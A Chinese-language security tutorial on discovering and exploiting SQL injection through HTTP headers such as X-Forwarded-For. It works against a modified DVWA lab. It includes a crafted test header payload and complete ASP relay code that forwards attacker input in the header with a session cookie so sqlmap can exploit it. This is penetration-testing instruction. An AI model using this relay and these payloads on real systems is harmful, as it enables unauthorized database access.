目前市面上web漏扫均可以轻易的检测出以GET或POST方式传参的sql注入点,在实际测试过程中,笔者发现多数漏扫检测HTTP头注入问题的能力还不是太理想,这里分享下笔者对于HTTP头注入的发现和利用过程,欢迎各位大牛批评指正。
0x01、HTTP头注入的发现
推荐使用安装了Modify Headers插件的火狐浏览器对目标站点进行信息收集,该插件可以自定义HTTP 头信息,截图如下:
界 面很简单,其中select action下拉单中的三个选项中modify比add优先级高,filter为过滤头字段操作,这里以新增http头字段X-Forwarded- For为例,下图红框中最前面选择add,紧跟着写入X-Forwarded-For,然后输入自定义的数值:我这里输入“x- for’;”>xxoo<!–”(不含引号),配置完成后依次点击save、确定即完成配置。
然后使用火狐浏览器浏览存在X-Forwarded-For sql注入漏洞的站点,这里笔者略微改动下dvwa,以配合测试,如图:
用配置好的火狐登录dvwa后,点击SQL injection选项,user id随便输入后点击submit,弹出典型的sql注入报错页面如图:
实际测试中,我们可以同时定义多个http head字段,然后浏览目标网站,进而发现漏洞,用该配置浏览器上网,常有意外收获,这里贴一张实测截图:
0x02、HTTP头SQL注入的工具化利用
漏洞发现了,下面讲讲利用。多数注入工具仅能覆盖http头中的cookie、user-agent等字段,对于X-Forwarded-For 等部分字段并不能全面覆盖。对于X-Forwarded-For sql注入,网上多是通过抓包增加“X-Forwarded-For :*”内容,然后利用Sqlmap –r 方式对其注入,笔者曾使用sqlmap1.0,同时测试变更level参数等操作,最终并未成功利用,这里还望实验成功的大牛指点。下面笔者介绍一个利用 寂寞的刺猬中转注入实现工具化利用的方法。 在寂寞的刺猬的中转注入代码中添加头字段”X-Forwarded-For”并赋值,值得注意的是这里不需要url编码和空格替换,代码略作修改后如下:
<span class="pln"> </span><span class="pun"><%</span><span class="pln"> </span><span class="pun">‘感谢寂寞的刺猬</span><span class="pln"> sqlStr</span><span class="pun">=</span><span class="pln">request</span><span class="pun">(</span><span class="str">"g"</span><span class="pun">)</span><span class="pln"> </span><span class="str">'存在注入点的文件 actionUrl="http://192.168.184.137/dvwa/vulnerabilities/sqli/?id=&Submit=Submit" '</span><span class="pun">来源</span><span class="pln">URL refUrl</span><span class="pun">=</span><span class="str">"http://192.168.184.137/dvwa/vulnerabilities/sqli/"</span><span class="pln"> </span><span class="str">'添加cookie信息,实现过认证注入 cookieStr="security=low; PHPSESSID=23887004dcb450bd3632e2bab6d30a31" '</span><span class="pun">发起</span><span class="pln">HTTP</span><span class="pun">请求</span><span class="pln"> response</span><span class="pun">.</span><span class="pln">write </span><span class="typ">PostData</span><span class="pun">(</span><span class="pln">actionUrl</span><span class="pun">,</span><span class="pln">sqlStr</span><span class="pun">,</span><span class="pln">cookieStr</span><span class="pun">,</span><span class="pln">refUrl</span><span class="pun">)</span><span class="pln"> </span><span class="str">'构造HTTP头注入数据包 Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "POST",PostUrl,False .SetRequestHeader "Content-Length",Len(PostStr) .SetRequestHeader "Content-Type","application/x-www-form-urlencoded" .SetRequestHeader "Referer",PostRef .SetRequestHeader "Cookie",PostCok .SetRequestHeader "X-Forwarded-For",PostStr .Send "G" PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function </span><span class="pln">%></span>
本地搭建后利用sqlmap测试如图:
Wireshake抓包可以看到http 注入包构造成功
0x03、写在最后
一切输入都是“有害”的。web数据交互不仅仅局限于GPC(get/post/cookie),网站从http头中收集用户信息已成主流,这部分信息同样会存在常规的sql注入、xss等安全问题。最后,提醒大家有一个字段叫X-UP-Calling-Line-ID。
【via@0x87-loudong360】